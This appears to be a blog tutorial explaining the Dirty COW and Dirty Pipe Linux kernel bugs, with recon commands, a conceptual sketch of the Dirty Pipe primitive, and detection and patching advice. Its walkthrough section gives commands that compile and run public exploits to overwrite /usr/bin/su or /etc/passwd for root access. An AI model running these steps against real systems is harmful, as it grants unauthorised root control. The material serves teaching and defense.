Kernel Exploits for Linux Privilege Escalation

Kernel Exploits for Linux Privilege Escalation - article cover image Linux Privesc
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Kernel privilege-escalation exploits target bugs in the Linux kernel itself rather than in user-space configuration, which means they bypass every access control an administrator has correctly configured — file permissions, sudoers, capabilities, even SELinux/AppArmor in many cases — because the flaw is below all of those layers, in the code that enforces them. An unprivileged local user with a working kernel exploit can go directly to uid=0, and because the bug lives in kernel memory-management or filesystem code, the exploit is usually completely independent of the distribution, the installed packages, or any application-level misconfiguration.

Two examples from the last decade illustrate the pattern well: Dirty COW (CVE-2016-5195), a race condition in the kernel’s copy-on-write handling present since 2007 and affecting nearly every kernel in production when disclosed in 2016, and Dirty Pipe (CVE-2022-0847), a 2022 pipe-buffer bug introduced by a 2020 kernel change that let an unprivileged user overwrite read-only files — including SUID binaries and /etc/passwd — without write permission at all. Both turned a low-privilege foothold into root in seconds, with public, reliable exploit code, on any unpatched kernel in range.

Attack Prerequisites

Successful kernel exploitation generally requires:

  • Local code execution as any unprivileged user — a shell from a web app compromise, SSH with a limited account, or a jailed shell is sufficient.
  • A kernel version within the vulnerable range for the specific bug — kernel exploits are version-specific, so uname -r recon is the first step of every kernel-exploit engagement.
  • No kernel-level mitigation blocking the primitive — some exploits are unreliable or blocked under grsecurity/hardened kernels or restrictive seccomp profiles.
  • Compiler or pre-built exploit binary availability on the target, or the ability to transfer one — most public kernel PoCs are small, self-contained C programs.

How It Works

Dirty COW abused a race condition in how the kernel handles copy-on-write (COW) for memory-mapped, read-only files. Mapping a file MAP_PRIVATE and read-only means writes to that mapping should be copy-on-write — the write goes to a private page, never touching the underlying file. The bug was a race between the kernel’s get_user_pages() fast path and the madvise(MADV_DONTNEED) syscall: by racing a background thread calling madvise against a write() to /proc/self/mem targeting the mapped address, an attacker could win the race often enough to have the write applied to the actual page cache backing the read-only file instead of a private copy — giving write access to files the user could only read, including root-owned SUID binaries and /etc/passwd.

Dirty Pipe worked on a related idea — corrupting a read-only file’s contents via a kernel primitive that should never have allowed a write — but through a completely different, race-free mechanism specific to Linux’s pipe implementation. A pipe buffer page carries a PIPE_BUF_FLAG_CAN_MERGE flag indicating whether new data can be appended to it. A missing initialization of that flag on newly allocated pipe buffers meant that if an attacker used splice(2) to bring a page from an arbitrary read-only file into the page cache and then referenced it through a pipe, the stale flag could mark it mergeable — letting a subsequent write() to the pipe overwrite the cached page directly, which the kernel then flushed back to disk, even though the process never had write permission on the file. Unlike Dirty COW, this required no race at all, making it dramatically more reliable.

In both cases the privilege-escalation step after gaining a controlled write is the same: corrupt a file the attacker can influence but not normally modify, and use that write to grant root — typically a SUID-root binary (patched to exec a shell while preserving the SUID bit) or /etc/passwd (a rewritten UID-0 entry with a known password hash).

Vulnerable Code / Configuration

For Dirty Pipe, the vulnerability is entirely inside the kernel’s pipe buffer code (fs/pipe.c, fs/splice.c) — there is no user-space misconfiguration to point at, only a specific vulnerable kernel-version range. The relevant fact for triage is the running kernel version:

uname -r
# 5.16.11-generic  <- in the Dirty Pipe range (Linux 5.8 up to 5.16.11 /
#                     5.15.25 / 5.10.102, fixed thereafter)

cat /etc/os-release
grep -i . /proc/version
Bash

The bug is triggered by a sequence that primes a pipe’s internal buffer flag and then splices a read-only page into it — no source file needs to be edited by hand, but this is the conceptual shape of the vulnerable interaction the kernel allowed:

// Simplified concept of the Dirty Pipe primitive (CVE-2022-0847):
// 1. Create a pipe and fill it, then drain it, to set PIPE_BUF_FLAG_CAN_MERGE
//    on its internal buffer structs (a state the kernel should have reset).
// 2. splice(2) a page from a READ-ONLY target file into that same pipe.
// 3. write() attacker-controlled bytes into the pipe.
// The kernel treats the target file's cached page as "mergeable" and
// overwrites it in place -- then flushes the corrupted page back to disk,
// even though the process never had write permission on the file.
C

For Dirty COW, the analogous “vulnerable configuration” is an affected kernel plus any read-only, root-owned file the attacker can map — most PoCs target /usr/bin/passwd since it is SUID-root and world-readable by default:

ls -l /usr/bin/passwd
# -rwsr-xr-x 1 root root ...   <- SUID root, world-readable: valid target

uname -r
# any kernel prior to the 2016-10-19 fix across 2.6.22 through 4.8.3
Bash

Walkthrough / Exploitation

Recon starts the same way every time — identify the exact kernel build and cross-reference it against known CVEs before touching anything:

uname -a
cat /etc/os-release
# Cross-reference kernel version against known-vulnerable ranges, e.g. via
# searchsploit, GTFOBins-adjacent kernel exploit trackers, or vendor advisories.
searchsploit linux kernel $(uname -r | cut -d- -f1)
Bash

Dirty Pipe exploitation against a SUID binary, using a well-known public PoC (e.g. AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploit or febinrev/dirtypipez-exploit), compiled and run directly against /usr/bin/su to inject a root-owning backdoor path:

gcc -o dirtypipe dirtypipez.c
./dirtypipe /usr/bin/su
# The PoC overwrites the SUID binary in place so it drops a root shell,
# preserving the original SUID bit.
/usr/bin/su
# Now running as uid=0 without ever needing write permission on su.
Bash

Dirty Pipe against /etc/passwd directly is equally common, since the file is world-readable but not world-writable — the exploit’s write primitive bypasses that restriction entirely:

openssl passwd -1 -salt xyz mypassword
# $1$xyz$ElLh/57ClX0GEK.4bcHVA0

# PoC variant that offsets into /etc/passwd and overwrites the root hash
# field, or appends a new UID-0 line via the same write primitive:
./dirtypipe-passwd /etc/passwd
su root2   # or the modified root entry, using the known hash above
Bash

Dirty COW’s classic PoC follows the same end goal via the race-condition route, again targeting /etc/passwd:

gcc -pthread dirtycow.c -o dirtycow -lcrypt
./dirtycow /etc/passwd "firefart:$(openssl passwd -1 -salt ab firefart):0:0:pwned:/root:/bin/bash"
su firefart
# Root shell after the race condition successfully lands the write.
Bash

Note: Dirty Pipe requires the target file to be *readable* by the exploiting user (no write permission needed), while Dirty COW requires a mappable, readable file. Neither works against files the user cannot open at all, so read-restricted sensitive files reduce, but do not eliminate, exposure.

Opsec: Kernel exploit PoCs frequently crash the process or, for Dirty COW, can corrupt the target file if the race lands mid-write — always test against a disposable copy in a lab first. auditd rules on execve of freshly compiled binaries, and unusual splice(2)/ptrace(2) syscall volume from an unprivileged UID, are common detection signals.

Detection and Defense

Kernel bugs cannot be mitigated by application-layer hardening — the only durable fix is patching, backed by defense-in-depth to reduce local attack surface:

  • Patch kernels promptly and track distro kernel-security advisories; both Dirty COW and Dirty Pipe were fixed quickly upstream once disclosed.
  • Minimize local, untrusted code execution — shared multi-tenant hosts are the highest-risk targets for kernel exploits.
  • Enable kernel exploit mitigationskptr_restrict, dmesg_restrict, restricted unprivileged user namespaces, and hardened kernel builds on sensitive hosts.
  • Use minimal, purpose-built container/VM images so a kernel bug on one workload has less to reach.
  • Monitor for exploit fingerprints — anomalous splice(2)/ptrace(2)/madvise(2) syscall volume, unexpected mtimes on SUID binaries or /etc/passwd, and freshly compiled binaries run by low-privileged accounts.

Real-World Impact

Dirty COW (CVE-2016-5195) affected nearly every Linux kernel from 2.6.22 (2007) onward and was actively exploited in the wild before and after disclosure, earning it widespread press coverage and a dedicated logo/site — unusually high-profile for a kernel bug. Dirty Pipe (CVE-2022-0847), disclosed by Max Kellermann in 2022, was notable for requiring no race condition and being trivially reliable, which made it a fast-moving favorite in CTFs and real-world privilege-escalation chains within days of the technical writeup.

Conclusion

Kernel exploits are the reminder that every other control — file permissions, sudoers, capabilities, SELinux — sits on top of a much larger, occasionally buggy trusted computing base. Dirty COW and Dirty Pipe show two different bug classes (a race condition and a missing flag initialization) converging on the same outcome: an unprivileged write to a file that should have been immutable to that user, and from there, root. Timely kernel patching remains the only reliable defense; everything else reduces the odds a vulnerable kernel is ever reachable by untrusted code at all.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL